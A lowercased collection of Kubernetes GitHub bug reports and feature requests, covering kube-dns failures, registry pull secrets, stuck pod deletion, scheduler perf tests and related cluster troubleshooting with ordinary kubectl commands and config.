resources:\r     requests:\r       storage: 20gi\r

instead, there are no rss present.\r \r from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/42593/pull-kubernetes-e2e-gce-etcd3/21127/ \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/garbage_collector.go:471\r mar  6 13:31:39.687: remaining rs post mortem: &v1beta1.replicasetlist{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:v1.listmeta{selflink:\ /apis/extensions/v1beta1/namespaces/e2e-tests-gc-bkl67/replicasets\ , resourceversion:\ 10566\ }, items:  v1beta1.replicaset nil }\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/garbage_collector.go:451\r    \r \r @kubernetes/sig-api-machinery-misc

need to follow-up on https://github.com/kubernetes/kubernetes/pull/47690 and https://github.com/kubernetes/kubernetes/issues/47687.\r \r @pwittrock i assigned it to you because turning off settings/v1alpha1 requires some changes in the tests.

is this a bug report or feature request?:\r \r  \r what happened:\r \r dns  kube-dns  fails to resolve intermittently for internal services when a pod is running on the same node as a kube-dns pod.\r \r what you expected to happen:\r \r successfully resolve dns regardless of which node a pod is scheduled on.\r \r how to reproduce it  as minimally and precisely as possible :\r \r spin up 3 node cluster running  v1.8.2-gke.0  on  google container engine .\r \r  sorry, not sure if default namespace has same issue but can't check til much later \r \r create a namespace, call it  phabricator .\r \r deploy a service, such as  mariadb  in  phabricator  namespace.\r \r deploy a pod in  phabricator  namespace that tries to  nslookup   mariadb.phabricator  in a loop.\r \r if the pod gets scheduled to the same node as one of the  two in my case  kube-dns pods, most of the time  mariadb.phabricator  will not be resolved, occasionally it will.\r \r if the pod gets scheduled to a node that no kube-dns pods are running on, resolution will work consistently.\r \r anything else we need to know?:\r \r i immediately created  cluster-admin  service accounts or added cluster-binding for the default service account to  cluster-admin .\r \r i literally deleted and recreated the cluster 10+ times in the last 8 hours and its a very, very reproducible thing for me.\r \r environment:\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.2-gke.0\ , gitcommit:\ 52ea03646e64b35a5b092ab32bb529400c296aa6\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t23:31:18z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r node info:\r \r    \r kernel version:             4.4.0-1027-gke\r os image:                   ubuntu 16.04.3 lts\r operating system:           linux\r architecture:               amd64\r container runtime version:  docker://1.12.6\r kubelet version:            v1.8.2-gke.0\r kube-proxy version:         v1.8.2-gke.0\r

 \r we're having trouble retrieving images from a private registry on dockercloud. for nearly a year the following has worked flawlessly. last friday i pulled down the 1.9.0 cli  via brew  and since then have not been able to access any image in a private registry on dockercloud. i've tried this on 10+ brand new clusters created with kops v1.8.0. the kubernetes cluster version have been 1.8.0, 1.8.4, 1.8.5 and 1.9.0  which is not supported by kops yet  and all exhibit the same problem.\r \r we create the secret as such:\r    \r kubectl create secret docker-registry dockerclouduser \\\r     --docker-server=https://index.docker.io/v1/ \\\r     --docker-username={my-username} \\\r     --docker-password={my-password} \\\r     --docker-email={my-email}\r    \r \r and verify it using:\r    \r kubectl get secret dockerclouduser --output=json | jq --raw-output '.data | .\ .dockercfg\ ' | base64 -d | python -m json.tool\r    \r \r which yields:\r    \r {\r     \ auths\ : {\r         \ https://index.docker.io/v1/\ : {\r             \ auth\ : \ {what-appears-to-be-a-token}\ ,\r             \ email\ : \ {my-email}\ ,\r             \ password\ : \ {my-password}\ ,\r             \ username\ : \ {my-username}\ \r         }\r     }\r }\r    \r \r and create a test service with  kubectl create -f  with these contents:\r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: test-service\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: test-service\r     spec:\r       containers:\r       - name: test-service\r         image: {my-org}/{my-repo-name}:{my-tag}\r         imagepullpolicy: always\r       imagepullsecrets:\r         - name: dockerclouduser\r    \r \r the pod fails immediatly with: \r    \r failed to pull image \ {my-org}/{mmy-repo-name}:{my-tag}\ : rpc error: code = unknown desc = error response from daemon: repository {my-org}/{mmy-repo-name} not found: does not exist or no pull access\r    \r \r i've reviewed the 1.9.0 release notes and nothing jumps out as the root cause.\r \r for reference i've tried putting quotes around the  {my-password}  value when creating the secret to no avail.\r \r i've also tried prefixing the  spec.template.spec.containers. 0 .image  value with  index.docker.io , so the full value would read:  image: index.docker.io/{my-org}/{my-repo-name}:{my-tag}  also to no avail.\r \r   environment  :\r kubernetes version:\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-16t03:16:50z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r cloud provider and installation info:\r   aws cluster built with kops 1.8.0, using  to isolate this issue  nearly the default settings for everything.\r \r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r when attempting to fetch container logs for a terminated pod, the kubelet requests logs from the container runtime using an empty container id which results in an unhelpful error being returned to the user.\r \r   what you expected to happen  :\r \r the user should get a useful message and we shouldn't leak messages from the container runtime back through the kubernetes api.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod with a container that exits with a non-zero exit status\r 2. wait for the container to go into crash loop backoff\r 3. while the pod is waiting to restart the container, delete it\r 4. attempt to fetch the container logs. you get back an error like this:\r \r    \r failed to get container status {\ \  \ \ }: rpc error: code = outofrange desc = eof\r    \r or on older version, an error like this:\r    \r failed to get container status {\ \  \ \ }: rpc error: code = 2 desc = json: cannot unmarshal array into go value of type types.containerjson\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.3.63+7af4da400ec059\ , gitcommit:\ 7af4da400ec0590e64787684ef8ecc3f55a1b89b\ , gittreestate:\ clean\ , builddate:\ 2018-02-02t23:04:35z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.3.65+bd9917f669d18b\ , gitcommit:\ bd9917f669d18bc6b2bc8a778f1fe27773c8d383\ , gittreestate:\ clean\ , builddate:\ 2018-02-03t00:24:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

we have recently started seeing occasional failures, e.g:\r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/1137\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/1132\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/1129\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/1124\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/1122\r \r from the logs it seems like we're timing out while trying to delete some namespaces, with logs like this   xref  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/1132/build-log.txt  :\r \r    \r i0804 18:41:03.010  \u001b 1mstep\u001b 0m: destroying namespace \ e2e-tests-density-30-13-szlkd\  for this suite.\r i0804 19:41:03.190  aug  4 19:41:03.190: info: waiting up to 30s for server preferred namespaced resources to be successfully discovered\r i0804 19:41:03.618  aug  4 19:41:03.618: info: namespace: e2e-tests-density-30-13-szlkd, resource: bindings, ignored listing per whitelist\r i0804 19:41:03.734  aug  4 19:41:03.734: info: namespace: e2e-tests-density-30-13-szlkd, resource: pods, items remaining: 1\r i0804 19:41:04.620  aug  4 19:41:04.620: info: namespace: e2e-tests-density-30-13-szlkd, deletiontimetamp: 2018-08-04 18:41:03 +0000 utc, finalizers:  kubernetes , phase: terminating\r i0804 19:41:04.660  aug  4 19:41:04.659: info: namespace: e2e-tests-density-30-13-szlkd, total namespaces: 41, active: 40, terminating: 1\r i0804 19:41:04.698  aug  4 19:41:04.698: info: pod                                                          node               phase    grace  conditions\r i0804 19:41:04.699  aug  4 19:41:04.698: info: density150000-12-7ba341bf-9807-11e8-bd7b-0a580a3c2f0d-vb78t  hollow-node-d7crw  running  1s      {initialized true 0001-01-01 00:00:00 +0000 utc 2018-08-04 17:25:38 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2018-08-04 17:25:40 +0000 utc  } {containersready true 0001-01-01 00:00:00 +0000 utc 0001-01-01 00:00:00 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-08-04 17:25:38 +0000 utc  } \r    \r \r there are multiple such namespaces with pods that are eternally undeleted. interestingly all those undeleted pods are on the same hollow-node   hollow-node-d7crw  in this case . this quite likely means that the hollow-kubelet on that hollow-node crashed or became unresponsive and as a result, wasn't able to delete the pods. we need to investigate what went wrong with that hollow-node.\r \r /cc @kubernetes/sig-scalability-bugs @mborsz

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r let's say i run\r    \r $ kubectl wait deployement --for condition=available -l some=label  --timeout=60s\r deployment_x condition is met\r deployment_y condition is met\r timed out waiting for condition\r timed out waiting for condition\r timed out waiting for condition\r    \r if the deployment is comes up in time it tells me which deployment is up, but if it times out it doesn't tell me on which deployment/resource. could it be\r \r    \r timed out waiting for condition on deployment_a\r timed out waiting for condition on deployment_b\r timed out waiting for condition on deployment_c\r    \r   why is this needed  :\r that would make it easier to use, and the information provided is the same irregardless on whether the condition is met or not\r

i created 1000 services with no endpoints  same selector .  then i created a single pod that matched them all.  kube-proxy took upwards of 30 seconds to update all the chains because it was doing a full save/process/restore cycle for each service.  it could instead batch up changes and sync after 2 seconds of accumulation, or something.

problem\r \r when running the test/integration/scheduler_perf tests, we test behaviour for scheduling against large node groups w/ thousands of pods, i.e.  testschedule100node3kpods  pods ... this test fails because of a discreet blip in \ measured pods scheduled\  .  i call this \ measured pods scheduled\  rather than \ pods scheduled\  because, it could simply be a  failure in the test to accurately measure throughput .  alternatively, it could be a real latency blip  in the scheduler.\r \r  details \r \r if minqps ever becomes zero, the scheduling perf tests will fail.\r this can happen easily even if 3k pods get scheduled, because of some strange measurement of 0 scheduled pods that happened within 2-3 seconds of scheduling events during the tests...\r \r if we add some logs to print out how long its taking, we can see a little latency: the second second  i.e. 2 out of 0,1,2,...  measures a zero change in total pods.   this could be\r \r - just  a bug in test-integration/scheduler_perf, simply happening because of the way the polling for total pods is done,  or\r - a more interesting bug fundamental latency bug in the scheduler:  i.e. breif relapse, wherein pods abruptly  and temporarily   stop being scheduled for a second or two after schdeuling starts .\r \r in one run, for example, we get 15 pods scheduled, followed by 0 net pods - leading to a min qps of zero.\r    \r not done yet%! extra int32=2147483647, int=15, int=3000 0s      rate: 15        total: 15\r not done yet%! extra int32=15, int=15, int=3000 1s      rate: 0 total: 15\r not done yet%! extra int32=0, int=15, int=3000 2s       rate: 0 total: 15\r    \r \r in another run, similar deal, 12 pods scheduled and then nothing....  \r    \r not done yet%! extra int32=2147483647, int=12, int=3000 0s      rate: 12        total: 12\r not done yet%! extra int32=12, int=12, int=3000 1s      rate: 0 total: 12\r not done yet%! extra int32=0, int=12, int=3000 2s       rate: 0 total: 12 <-- min qps now == 0!\r not done yet%! extra int32=0, int=1047, int=3000 3s     rate: 1035      total: 1047\r not done yet%! extra int32=0, int=2582, int=3000 4s     rate: 1535      total: 2582\r    \r \r  solution \r the qps field should measure that , qps is increasing in a way that we expect, and those expectations should be more explicit.

k8s version v1.8.0-alpha.2.1149+8dc7cf1ebd4515-dirty\r \r when pod which was using a local volume terminates and this pod was using a non-default gid, after pod termination gid of volume does not reset to default. it causes a problem when another pod tries to mount this local volume as volume still has stale gid.\r i would like to propose to reset gid to 0 on unmount operation of a local volume.\r \r 

/ / /area platform/gke\r @kubernetes/sig-gcp-test-failures\r \r this job has been failing since 2017-11-02.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-alpha.3   kubernetes/sig-release 27 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/17906\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/17907\r - latest bad as of filing: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/18057/\r - suspect changelog: https://github.com/kubernetes/kubernetes/compare/55e216f56...3a15fdbe7

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the version of go-yaml  53feefa2559fb8dfa8d81baad31be332c97d6c77  vendored by kubernetes has this bug: https://github.com/go-yaml/yaml/issues/75\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r if kubeconfig uses the exclamation mark syntax, for example:\r    \r expiry-key: ! '{.credential.token_expiry}'\r    \r kubectl will fail to parse it.\r \r   anything else we need to know?  :\r it was fixed in go-yaml here: https://github.com/go-yaml/yaml/commit/670d4cfef0544295bc27a114dbac37980d83185a\r \r i'll be happy to contribute a fix, but i'd like to know if it will be accepted.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

this test is failing in gke serial suite:\r http://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial\r \r  / /  /status approved-for-milestone\r \r cc @jdumars @jberkus \r /assign @dchen1107 @derekwaynecarr\r \r also cc @dashpole @yujuhong @random-liu in case you already have some idea\r xref  60003

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r bug\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r \r first, i   create a statefulset  which bound with pv and pvc\r second, i change pv for one pod  example-etcd-cluster-2  of statefulset\r third, i want to delete statefulset,but the pod example-etcd-cluster-2   always in terminating   status. \r \r specific information:\r  1 \r  ceph@kc-bcc-pod24-10-196-108-10 local $ kubectl delete --force  statefulset example-etcd-cluster          \r error: timed out waiting for \ example-etcd-cluster\  to be synced\r  ceph@kc-bcc-pod24-10-196-108-10 local $ kubectl  delete --force pod  example-etcd-cluster-2\r pod \ example-etcd-cluster-2\  deleted\r \r  ceph@kc-bcc-pod24-10-196-108-10 local $ kubectl  get pod -o wide|grep example\r example-etcd-cluster-2            0/1       terminating   15         3h        10.196.108.40    kc-bcc-pod24-10-196-108-40.hadoop.jd.local\r \r \r  2  the pod log:\r \r  ceph@kc-bcc-pod24-10-196-108-10 local $ kubectl  logs example-etcd-cluster-2  \r failed to get container status {\ \  \ \ }: rpc error: code = outofrange desc = eof\r \r \r \r  3  enter  the machine  where the abnormal pod  running:\r \r the kubelet log:\r \r apr 10 18:46:16 kc-bcc-pod24-10-196-108-40.hadoop.jd.local kubelet 29745 : i0410 18:46:16.752038   29745 kuberuntime_manager.go:758  checking backoff for container \ example-etcd-member\  in pod \ example-etcd-cluster-2_ceph f48e6abf-3ca4-11e8-80d2-3cfdfe5f32bc \ \r apr 10 18:46:16 kc-bcc-pod24-10-196-108-40.hadoop.jd.local kubelet 29745 : i0410 18:46:16.752220   29745 kuberuntime_manager.go:768  back-off 5m0s restarting failed container=example-etcd-member pod=example-etcd-cluster-2_ceph f48e6abf-3ca4-11e8-80d2-3cfdfe5f32bc \r apr 10 18:46:16 kc-bcc-pod24-10-196-108-40.hadoop.jd.local kubelet 29745 : e0410 18:46:16.752248   29745 pod_workers.go:186  error syncing pod f48e6abf-3ca4-11e8-80d2-3cfdfe5f32bc  \ example-etcd-cluster-2_ceph f48e6abf-3ca4-11e8-80d2-3cfdfe5f32bc \  , skipping: failed to \ startcontainer\  for \ example-etcd-member\  with crashloopbackoff: \ back-off 5m0s restarting failed container=example-etcd-member pod=example-etcd-cluster-2_ceph f48e6abf-3ca4-11e8-80d2-3cfdfe5f32bc \ \r \r \r there is no corresponding docker container running：\r \r docker ps  |grep example\r docker ps -a |grep example\r \r \r  4  i  find the terminationgraceperiodseconds is 300s of statefulset,\r so i delete pod  with command:\r \r kubectl delete pod example-etcd-cluster-2 --grace-period=0 --force\r \r the pod is delete !\r \r \r \r   what you expected to happen  :\r \r why use '--grace-period=0 --force'  can  delete the abnormal pod ? when i use '--force' to delete the abnormal pod,i can not delete it anytime.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1  pv\r \r one of pv is like this:\r ---\r \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: demo-etcd-disk-0\r   labels:\r     app: demo-etcd-cluster\r   annotations:\r     \ volume.alpha.kubernetes.io/node-affinity\ : '{\r         \ requiredduringschedulingignoredduringexecution\ : {\r             \ nodeselectorterms\ :  \r                 { \ matchexpressions\ :  \r                     { \ key\ : \ kubernetes.io/hostname\ ,\r                       \ operator\ : \ in\ ,\r                       \ values\ :  \ <hostname>\  \r                     }\r                  }\r               }\r           }'\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r   - readwriteonce\r   persistentvolumereclaimpolicy: retain\r   storageclassname: demo-etcd-storage\r   local:\r     path: /data9/mnt/example-etcd-disk1\r \r 2  storageclass\r \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: demo-etcd-storage\r provisioner: kubernetes.io/no-provisioner\r volumebindingmode: waitforfirstconsumer\r \r 3  statefulsets\r \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: demo-etcd-cluster\r spec:\r   servicename: demo-etcd-cluster\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: demo-etcd-cluster\r     spec:\r       hostnetwork: true\r       dnspolicy: clusterfirstwithhostnet\r       terminationgraceperiodseconds: 300\r       restartpolicy: always\r       containers:\r       - name: demo-etcd-member\r         imagepullpolicy: always\r         image: etcd-amd64:3.1.11\r         resources:\r           requests:\r             memory: \ 2gi\ \r             cpu: 2000m\r         ports:\r         - containerport: 6060\r           name: client-port\r         - containerport: 6062\r           name: peer-port\r         command:\r         - etcd\r         - --listen-client-urls=http://0.0.0.0:6060\r         - --listen-peer-urls=http://0.0.0.0:6062\r         - --initial-cluster-token=demo-etcd-cluster\r         - --initial-cluster-state=new\r         - --data-dir=/var/www\r         - --snapshot-count=5000\r         - --quota-backend-bytes=6442450944\r         livenessprobe:\r           failurethreshold: 8\r           httpget:\r             host: demo-etcd-cluster-0.demo-etcd-cluster.ceph.svc.bcc-kc1.jd.local\r             path: /health\r             port: 6060\r             scheme: http\r         volumemounts:\r         - name: datadir\r           mountpath: /var/www\r         env:\r             - name: etcd_name\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.name\r             - name: etcd_namespace\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.namespace\r             - name: etcd_domain\r               value: \ demo-etcd-cluster.$ etcd_namespace .svc.bcc-kc1.jd.local\ \r             - name: etcd_advertise_client_urls\r               value: \ http://$ etcd_name .$ etcd_domain :6060\ \r             - name: etcd_initial_advertise_peer_urls\r               value: \ http://$ etcd_name .$ etcd_domain :6062\ \r             - name: etcd_initial_cluster\r               value: \ demo-etcd-cluster-0=http://demo-etcd-cluster-0.$ etcd_domain :6062,demo-etcd-cluster-1=http://demo-etcd-cluster-1.$ etcd_domain :6062,demo-etcd-cluster-2=http://demo-etcd-cluster-2.$ etcd_domain :6062\ \r        \r       securitycontext:\r         runasuser: 1000\r         fsgroup: 1000\r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: \ demo-etcd-storage\ \r       resources:\r         requests:\r           storage: 1gi\r \r 4  service \r \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: demo-etcd-cluster\r   labels:\r     app: demo-etcd-cluster\r spec:\r   ports:\r   - name: client-port\r     port: 6060\r     protocol: tcp\r     targetport: 6060\r   - name: peer-port\r     port: 6062\r     protocol: tcp\r     targetport: 6062\r   clusterip: none\r   selector:\r     app: demo-etcd-cluster\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.9.3\r \r - cloud provider or hardware configuration:\r docker 17.03.2-ce\r \r - os  e.g. from /etc/os-release :\r centos linux release 7.2.1511  core \r \r - kernel  e.g.  uname -a  :\r 3.10.0-327.28.3.el7.x86_64\r \r - install tools:\r - others:\r

the issue was first reported in  66135. \r \r open this as an umbrella issue for all existing violations. \r what we need to fix:\r -  x  document defaulting rule  pr https://github.com/kubernetes/community/pull/2411 \r -  x   extensions/v1beta1  deployment  .spec.progressdeadlineseconds   pr  66581 \r -  x   extensions/v1beta1  deployment  .spec.revisionhistorylimit   pr  66605 \r -      batch/v2alpha1   cronjob   .spec.successfuljobhistroylimit \r -     ...  other violations? \r \r ref  api changes guidelines   https://github.com/kubernetes/community/blob/master/contributors/devel/api_changes.md . \r \r @kubernetes/sig-apps-bugs ~@kubernetes/sig-instrumentation-bugs~

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r as mentioned in  device plugin resource lifecycle improvement  https://docs.google.com/document/d/1rye_jcujquqwb-zrjpg_fldxowp5mjogkge59hlygnk  doc, for certain types of device plugin resources, their devices need to be reconfigured after node reboot. the devices may not be in the ready state until the device plugin re-registers. the current kubelet device manager implementation always tries to re-use the cached state. in case of pure node reboot, kubelet device manager would rebuild its cached state from local checkpoint file, which means it could admit a previously started pod that requests a device plugin resource before the corresponding device plugin re-registers. this could cause undesired behavior that containers might be started without the corresponding resource being ready.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r when the node  lost connection with master ,  using 'kubectl describe node' find the nodepidpressure is false , no switch to unknown.\r    \r conditions:\r   type              status    lastheartbeattime                 lasttransitiontime                reason                                                             message\r   ----              ------    -----------------                 ------------------                ------                                                             -------\r   outofdisk         unknown   fri, 14 sep 2018 17:39:56 +0800   fri, 14 sep 2018 17:40:40 +0800   nodestatusunknown                                                  kubelet stopped posting node status.\r   memorypressure    unknown   fri, 14 sep 2018 17:39:56 +0800   fri, 14 sep 2018 17:40:40 +0800   nodestatusunknown                                                  kubelet stopped posting node status.\r   diskpressure      unknown   fri, 14 sep 2018 17:39:56 +0800   fri, 14 sep 2018 17:40:40 +0800   nodestatusunknown                                                  kubelet stopped posting node status.\r   ready             unknown   fri, 14 sep 2018 17:39:56 +0800   fri, 14 sep 2018 17:40:40 +0800   nodestatusunknown                                                  kubelet stopped posting node status.\r   pidpressure       false     fri, 14 sep 2018 17:39:56 +0800   fri, 14 sep 2018 17:38:46 +0800   kubelethassufficientpid                                            kubelet has sufficient pid available\r \r    \r   what you expected to happen  :\r    pidpressure       unknown   fri, 14 sep 2018 05:13:09 +0800   fri, 14 sep 2018 05:13:53 +0800   nodestatusunknown                                                  kubelet stopped posting node status.\r  \r   how to reproduce it  as minimally and precisely as possible   :\r stop kubelet, wait the node notready\r check the node status 'kubectl describe node'\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the  validatecontroller  method in utils.go is supposed to be generic, but it really is coupled - to apiv3 and also  - to using kubectl for checking things rather than the more robust direct rest api calls   lets make it more general

the downward api volume source established a pattern of using  items  for the array variable for a list of projections into a volume.  it should be called  files  instead, but it looks like we are going to follow the existing pattern in  17554 for consistency, so this volume should also be refactored in the next version of the pod api.  ...as requested by @thockin here: https://github.com/kubernetes/kubernetes/pull/17554 discussion_r45832617

running kubernetes 1.2.4. i build configmap from directory, where i store files required by the application using this command: kubectl --server=http://10.57.120.10:8080 create configmap keystone-config --from-file=config/  in some cases i need to add file to the set of config files. so get yaml version of configmap, change it manually and then use kubectl replace to update it. kubectl --server=http://10.57.120.10:8080 get configmap keystone-config -o yaml > keystone-config.yaml change  keystone-config.yaml following this file format kubectl --server=http://10.57.120.10:8080 replace -f  keystone-config.yaml  when i check the container i do not see any changes at the point where this configmap is mounted, but if i restart container then i see a new file which i manually added.  please let me know if it is a bug or this way of changing configmap is not supported.  thank you  serguei

i'm trying to use taints and tolerations to run a daemonset only on my master nodes.  the daemonset is scheduling pods on all nodes though.  i don't know whether daemonsets bypass taints & tolerations, or whether i am doing something wrong.  i taint my master node:      kubectl taint  nodes ip-172-20-77-44.ec2.internal role=master:noschedule      my daemonset:      apiversion: extensions/v1beta1 kind: daemonset metadata:   name: aws-controller   labels:     tier: cloud     app: aws-controller     version: v1 spec:   template:     metadata:       labels:         name: aws-controller       annotations:         scheduler.alpha.kubernetes.io/tolerations: |            {\ key\ : \ role\ , \ value\ : \ master\ , \ effect\ : \ noschedule\  }      spec:       containers:         - resources:             requests:               cpu: 0.20           securitycontext:             privileged: true           image: kope/aws-controller           name: aws-controller           command:           - /usr/bin/aws-controller           - --healthz-port=10245           - --zone-name=yahoo.com           - --v=4      the pod is scheduled on all my nodes though.  one of their annotations  so we can see the final result :              \ annotations\ : {             \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ daemonset\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ aws-controller\\\ ,\\\ uid\\\ :\\\ 47395313-54d4-11e6-9aa6-0681a2fd2e75\\\ ,\\\ apiversion\\\ :\\\ extensions\\\ ,\\\ resourceversion\\\ :\\\ 3520\\\ }}\ \ ,             \ scheduler.alpha.kubernetes.io/tolerations\ : \  {\\\ key\\\ : \\\ role\\\ , \\\ value\\\ : \\\ master\\\ , \\\ effect\\\ : \\\ noschedule\\\  } \ \             }      and the annotations on the node:          \ annotations\ : {       \ scheduler.alpha.kubernetes.io/taints\ : \  {\\\ key\\\ :\\\ role\\\ ,\\\ value\\\ :\\\ master\\\ ,\\\ effect\\\ :\\\ noschedule\\\ } \ ,       \ volumes.kubernetes.io/controller-managed-attach-detach\ : \ true\      }

i'd like to ask if is there possibility to create shared quota for few namespaces, eg for team\r \r scenario:\r cluster:\r 100c\r 100gb ram\r \r \r quota for team a 40c/40gb\r quota for team b 60c/60gb\r \r some namespaces from team a eg.\r teama-dev\r teama-test\r teama-stage\r teama-int\r \r have to be all limited to quota 40c/40gb\r \r same for team b.\r \r case is that i don't want specify quotas directly for namespaces, but for team or group of namespaces.\r \r is this possible somehow?\r \r \r if this is inproper place to ask such question i also created thread on so http://stackoverflow.com/q/40894527/6657564\r regards\r \r edit: i see clusterresourcequota in openshift. are there plans to implement this feature in kubernetes?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-release-1.4/1535/  failed:  k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/kubelet_etc_hosts.go:52 dec  9 18:47:29.507: /etc/hosts file should be kubelet managed, but is not: \ \  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/kubelet_etc_hosts.go:94       previous issues for this test:  27023  34604

